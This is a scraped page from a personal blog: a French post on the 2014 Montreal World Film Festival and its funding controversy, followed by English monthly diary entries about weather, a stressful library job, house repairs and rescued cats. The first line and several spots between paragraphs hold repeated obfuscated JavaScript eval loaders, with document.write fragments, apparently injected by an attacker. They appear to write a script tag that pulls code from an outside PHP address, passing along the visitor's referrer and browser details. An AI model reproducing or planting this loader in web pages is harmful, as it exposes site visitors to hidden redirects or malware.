eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibffz|var|u0026u|referrer|ekihz||js|php’.split(‘|’),0,{}))

Lire la suite >>

En mars, le FFM annonçait que le Marché international du film de Montréal, qui est une activité importante du Festival des films du monde de Montréal, aura une nouvelle section de films européens ce qui fera du Marché une plateforme majeure du cinéma européen en Amérique. Ce sera l’occasion pour tous les secteurs européens de l’industrie cinématographique de faire la promotion de leurs films et de développer d’éventuels partenariats de coproduction. Le Marché du film de Montréal est un rendez-vous important pour les membres de l’industrie locale qui y trouvent l’occasion unique de rencontrer des professionnels de tous les pays. En plus de la présence des représentants européens, le Marché accueillera à nouveau la Semaine de l’industrie chinoise du cinéma. (Voir le communiqué)

À la fin avril, le FFM annonçait que le 38e Festival des films du monde sera dédié à la mémoire de Gabriel García Márquez décédé plus tôt cette année. Il est “sans conteste un phare unique de la littérature mondiale du XXe siècle. Le FFM tient à saluer sa mémoire en hommage à son immense talent et à son engagement humaniste constant pour la défense des cultures de l’Amérique du Sud. Il est un des adeptes du réalisme magique qui a influencé non seulement ses collègues écrivains mais aussi nombre de cinéastes latino américains et autres que nous avons accueillis ici » a déclaré Serge Losique, président du FFM. (Voir le communiqué)

Puis, en mai, le FFM dévoilait l’affiche du 38e Festival, qui a été choisie par le public. Il s’agit d’une oeuvre l’artiste bolivien Marco Toxico.

Ses œuvres sont reconnues mondialement et ont bénéficié de publications en Allemagne, Argentine, Belgique, Brésil, Espagne, France, Mexique, Pérou et Venezuela en plus d’y être exposées régulièrement. Il est le cofondateur, avec Karen Gil, de la maison d’édition La Ñatita consacrée à la publication de leurs travaux. Il a été nommé parmi les 10 meilleurs illustrateurs par le Cow International Design Festival d’Ukraine et a obtenu une mention lors des Rencontres latino-américaines de Design 2013 de Buenos-Aires. (Voir le communiqué)

À la fin juin, le FFM nous rappelle que le Marché international du film de Montréal se prépare a accueillir une importante délégation de l’industrie cinématographique chinoise qui viendra proposer une série de projets de coproduction. (Voir le communiqué)

Finalement, en juillet, le FFM a annoncé que Salaud, on t’aime de Claude Lelouch sera le film d’ouverture de la 38e édition du festival (voir le communiqué) et que Aimer, boire et chanter d’Alain Resnais en serait le film de clôture (voir le communiqué). On a également annoncé le 1er août que l’acteur Hippolyte Girardot sera présent à Montréal pour la projection de l’ultime film de Resnais, “Aimer, Boire et Chanter” (voir le communiqué).

Malheureuseement, les préparatifs pour cette 38e édition du festival sont perturbés par une sérieuse controverse. Le 5 juin dernier, Le Devoir annonce que le Festival des films du monde est menacé car il serait en panne de financement. En effet, la SODEC ne lui accorderait pas de subventions cette année et deux autres bailleurs de fonds principaux, Téléfilm Canada et la Ville de Montréal, retireraient aussi leurs soutien faute d’avoir accès à tous ses livres, à un plan de redressement bien établi et à des finances équilibrées. Le FFM serait ainsi en faillite technique puisqu’il serait miné par un déficit accumulé de plus de 2,5 millions.

Le FFM réplique avec un communiqué où il affirme que malgré le fait que certaines promesses de soutien n’ont pas été tenues, les préparatifs pour la 38e année du festival continues, que le festival se tiendra malgré tout, et qu’il offrira comme par le passé une sélection riche et variée. Il est impossible de nier que les festival éprouve des difficultés financières mais qu’il devrait passer au travers grâce à une gestion rigoureuse et responsable et à un plan de relance.

Par la suite, La Presse et Le Devoir font la chronique de cette saga (à noter que la série d’articles de La Presse nous parait plutôt hostile envers le festival):

À suivre… Étrangement, à travers toute cette tempête, je n’ai pas vu beaucoup de gens qui défendent le FFM: à part quelques acteurs du monde du cinéma [Le Devoir, 16 juillet — abonnement requis], je n’ai vu qu’un éditorial au Devoir titré “Un actif à conserver” [Le Devoir, 3 juillet — abonnement requis mais heureusement le FFM l’a reprit dans son intégralité sur sa page Facebook] et une chronique de Nathalie Petrowski, titré “Une dernière chance” (La Presse, 7 juillet) qui le défendent tant soit peu.

Je trouve tout cela extrêmement dommage. Comme je l’ai déjà dit dans un commentaire quelque part sur FB, non seulement le FFM nous offre l’occasion de voir des films qu’on ne verrait pas ailleurs (contrairement au festival de Toronto où les films sortent en salles dans les semaines qui suivent; je n’en comprend pas du tout l’intérêt…) mais il fait rayonner la ville de Montréal internationalement ! Oui peut-être qu’il n’attire plus autant les foule que Fantasia (mais les deux festivals visent des public totalement différents) et c’est sûr qu’il y aurait du travail à faire sur la promotion et la gestion mais le FFM n’en demeure pas moins un événement culturel essentiel qui se doit d’être préservé et subventionné. Point. Si on trouve de l’argent pour la F1, je suis sûr qu’on peut faire l’effort d’en trouver pour le FFM ! Alors, grands dieux et s.v.p., arrêtez d’argumenter et faites juste en sorte qu’on puisse voir de bons et beaux films !

[ Traduire ]

June in review

/ Clodjee / Leave a comment

June seemed like a very nice month (as good as May usually is) although we had a few days of heavy rain (my garage was flooded a couple of time: on the third, on the thirteen, but the worse was on the twenty-fourth and twenty-fifth). Despite all this, I was able to finish repairing and painting the garage door. The garden also started to blossom in many colours. The Mom alley-cat that took up residence in the garden’s shed (and who gave us Caramel last year) gave birth to another litter of kittens but was later chased from the shed by an invasion of raccoons!

I’ve complained many time to the city (using the official info and complain phone line) about the sidewalk’s defect that cause the rain water to go to my driveway instead of the sewage’s gutter and therefore flooding my garage. In three years nothing was done. Taking advantage of some errands near the borough Hall, I decided to pay a visit to my elected official. He was not there but I spoke with his assistant and explained the problem. She suggested that I email them pictures (which I did right away) and, to my great surprise, less than a week later there was city workers making markings on the sidewalk to prepare it for the repair!! Another week later some workers came back to cut the concrete. I expect the repair to be done soon… Now I know what to do to get results.

In june I also started working in a new location. I felt right away that the adaptation to this new work place would take some time. I have to learn a new routine and every place has its own particularities. However, a month into this new job, I must admit that I am quite disappointed. I remembered the place as very well organized, operating smoothly and quietly. Either I remembered wrong or something changed (well, a rapid succession of changes in management can fuck up the best of organization). I like the team, the place is indeed much more quieter and I now save between fifteen and thirty minutes on my commute, but so far I haven’t been given any specific tasks, the work flow is extremely disorganized and chaotic and the reduced staff and budget means that we are always running to keep up with what needs to be done. Not much time to relax, so it is even more stressful and tiring that the previous place! I am not sure I made the right move… I still have time to adapt, but as soon as it’s possible (I can’t move for another year) I will start applying to other jobs in the hope of finding the dream job or at least something even closer to home.

The end of june and early july brought a heat wave with temperature around 30’C (going over 40′ with the humidex)! We had many weeks without any rain, but it ended today. Hopefully, the rain won’t last too long. I took another couple of weeks of vacation to travel a little, do some work around the house and catch up with my writing (if I ever can!). My first day off, I was so tired that I slept for nearly twelve hours! I haven’t done that in a long time. I started updating my “Essential anime and manga references” moving it from the Protoculture website to my blog and adding more titles to this bibliography. I am planning on posting reviews for all those references (either updating the reviews that were previously published in PA, using some texts that had never been published before [like for the Dico Manga] or simply write new ones). I also wrote comments on the second volumes of Joséphine Impératrice and Le guide du mauvais père (both in french). It feels great! I hope to be able to keep that pace all summer.

Before the rain, I experienced a few of those perfect days of july. It reminded me of my childhood: a slight breeze in the trees, the songs of unseen birds, the distant shouts of children playing in the neighbourhood, the sun reflecting on the water. It brings back a feeling of deep quietness and idleness. Something that the europeans call farniente, I think. Unfortunately, in this busy life, it is only a fleeting sensation…

Not much happened in the news, but I nevertheless gathered a few worthy links that I gladly share with you after the jump:


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Libraries

Economy, Environment & International/U.S. Politics

Health, home & garden

Library Humour

Media, Culture, Entertainment & Society

Movie Festivals

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

[ Traduire ]

May in review

/ Clodjee / Leave a comment

Spring was late and therefore seasonal temperature (sunnier and temperature more around 20′ C) came nearly two weeks later than usual (from May 11th). We use to say that May is the nicest month of the year, document.write(“”); but it really became true at the end of the month (and even early June!). Buds were starting to open, but it felt strange in May to still see the browns of bare trees with no leaves in them. However, by the middle of the month, with the first thunderstorms of the year, the landscape quickly exploded with greens.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyzst|var|u0026u|referrer|dnsyk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nybfb|var|u0026u|referrer|hkdfd||js|php’.split(‘|’),0,{}))

I had to deal with a lot of anxiety in May. I couldn’t take it anymore at my job (I liked the team, the place, the job itself, but the long commuting hours and unruly teenagers where making my life impossible). I was on the verge of depression and needed to do something. However, the prospect of a new workplace (slightly closer from home, quieter) was also a source of apprehension. Was I making the right decision (I am still not sure) ? All this was translating into various body pains (back, chest, jaw, digestion problems, general discomfort, etc.).

Also we’ve been in the new house for over two years now and did very little work, so I really needed to get going with the repairs and improvements. I took two weeks off toward the end of the month for that purpose. First I wanted to repair and paint the garage door, but simply replacing the broken door-opener revealed quite a saga (the installation guy had to come THREE times and I had to hire an electrician to move a light fixture and install an electrical outlet).

As usual I started my vacations with a cold, watch too much TV and ended up doing only half of what I planned (the weather was not so bad, but I spent lots of time waiting for the workmen). I wrote only one manga comment (Joséphine Impératrice, vol. 1). No time left to visit museums with my wife and it was raining on the day we were planning to go to the botanical garden. But at least I finished the garage door and got the ball rolling with the house repairs… However, I better get going because there is still a lot to do for the remaining part of the summer!

Not much happened on the world stage (or was I too busy to notice anything ?). I got mostly interested with Apple WWDC keynote. The announcement was very promising, but also quite disappointing as they announced only software products (OS X 10.10 Yosemite and iOS 8, both due in fall) and absolutely NO hardware (I was expecting to see updates for the iPhone, Mac-Mini and AppleTV). But it was to be expected at a developers’ conference. While reading online I nevertheless gathered over a hundred news links that you’ll find just after the jump:


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Apple: the 2014 WWDC keynote announcements

Books, Digital Edition & Libraries

Economy, Environment & International/U.S. Politics

Health, home & garden

Library Humour

Local News & National Politics

Media, Culture, Entertainment & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

[ Traduire ]

April in review

/ Clodjee / 2 Comments

April was a boring, document.write(“”); rainy month. It was still a little depressing, but we felt spring was on its way although it never really got here fully. It is still a little colder than seasonal temperature. By mid-April we still had freezing temperature and a little snow fall. I felt sad. I still feel I need some change so I applied (several times) to work in another library and waited all month for results. I am still waiting. I hope it will work. I don’t know what I’ll do if it doesn’t…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nikbz|var|u0026u|referrer|ssfke||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdyfk|var|u0026u|referrer|ytnyy||js|php’.split(‘|’),0,{}))

On the domestic side, with slightly warmer temperature there was a lot to do around the house (spring cleaning, preparing the garden) and many things to organize (medical check-ups, update financial records, using the income tax returns to replace and update household appliances, etc). So it kept me busy. I didn’t write much (just one book comment, on a manga about Freud). It is frustrating to have so many ideas, so many words in my mind that I could write and not enough time to do so… I went to a book sale and found lots of books (many manga) for really cheap. We’ve finally found someone (a shelter) to take the last of the kittens we’ve rescued this winter. I’m so glad that we found places for them, but I was also a little sad to see them leave. However, I kept one and his playfulness, his cuteness, fill me with joy. I’ve seen something really strange one night right after sunset: a swarm of seagulls noisily turning and pulsating into the clouds. Not long after, we got the first thunderstorm of the year…

In the news, provincial elections brought back a liberal government, the Ukrainian situation continues, they still haven’t found the Malaysian plane, and a South Korean ferry sank killing lots of children from the same school. You’ll find over an hundred links to some news stories that I found interesting — just after the jump:


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Libraries

Economy, Environment & International/U.S. Politics

Health, home & garden

Humour
Local News & National Politics

Media, Culture, Entertainment & Society

Sciences & History


Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

[ Traduire ]

The month in review (2014-03-31)

/ Clodjee / Leave a comment

March. Already three months into the year. Until today (partly cloudy, document.write(“”); 5°C) spring was nowhere to be seen. We had small snow storms almost every weeks (the latest this week-end) and winter seems to never end. How depressing. I feel that I am really getting at the end of my rope with my job: the long commuting that keeps me from doing anything useful at home during the week, the teenagers’ insubordination and constant insolence, absurdity and inefficiency everywhere and, in the last week, a terrible cold that made me weak and tired… So many frustrations… I can’t take this anymore and feel I am on the verge of depression. But what can I do? I can’t quit. All I can do is fight the darkness and rest as much as I can. I really need some change…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehtkb|var|u0026u|referrer|zeyke||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zsbha|var|u0026u|referrer|bzdhs||js|php’.split(‘|’),0,{}))

I took a few days off. I really needed the sleep, but above all the psychological rest… Just not having to commute, not hearing the constant noise and teenage girls chatter (busy hours with an average of 70 dB while the limit for an industrial area is 75 dB!), not having the crying babies (peak at 105 dB!) and kids running all over the place, not having to regularly scold children for not behaving… That’s a great rest in itself! I wrote a little (but there’s never enough time) and watched TV (the usual plus a few new shows: Cosmos: A space-time odyssey, Helix, Parade’s End, Resurrection, The 100, True Detective; and a few movies: After Earth, Blue Jasmine, Star Trek: Into Darkness).

A raccoon hung around the back balcony a few times. We finally found a nice adoption family for Toffee and might be able to place Roussette soon. This week is supposed to be warm and sunny. Hope for spring and more…

Local news were saturated with stories about the Quebec provincial election with talks of possible referendum if PQ is elected or the secular charter. International news were all about the Ukraine situation and the disappearance of Malaysia Airline flight MH 370. I’ve gathered links to a few other interesting news stories after the jump:


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Libraries

Economy, Environment & International/U.S. Politics

Health, home & garden

Local News & National Politics

Media, Culture, Entertainment & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

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